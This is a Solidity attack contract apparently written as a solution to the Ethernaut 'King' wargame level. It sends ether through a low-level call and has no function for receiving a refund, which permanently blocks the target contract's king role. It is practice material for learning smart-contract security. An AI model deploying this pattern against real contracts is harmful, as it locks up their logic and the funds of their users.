Level 9 - King - Ethernaut

KingHack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract KingHack {
    function kingHack(address payable _to) public payable {
        (bool sent, ) = _to.call.value(msg.value)("");
        require(sent, "Failed to send value!");
    }

     function seedEth() public payable {
    }
}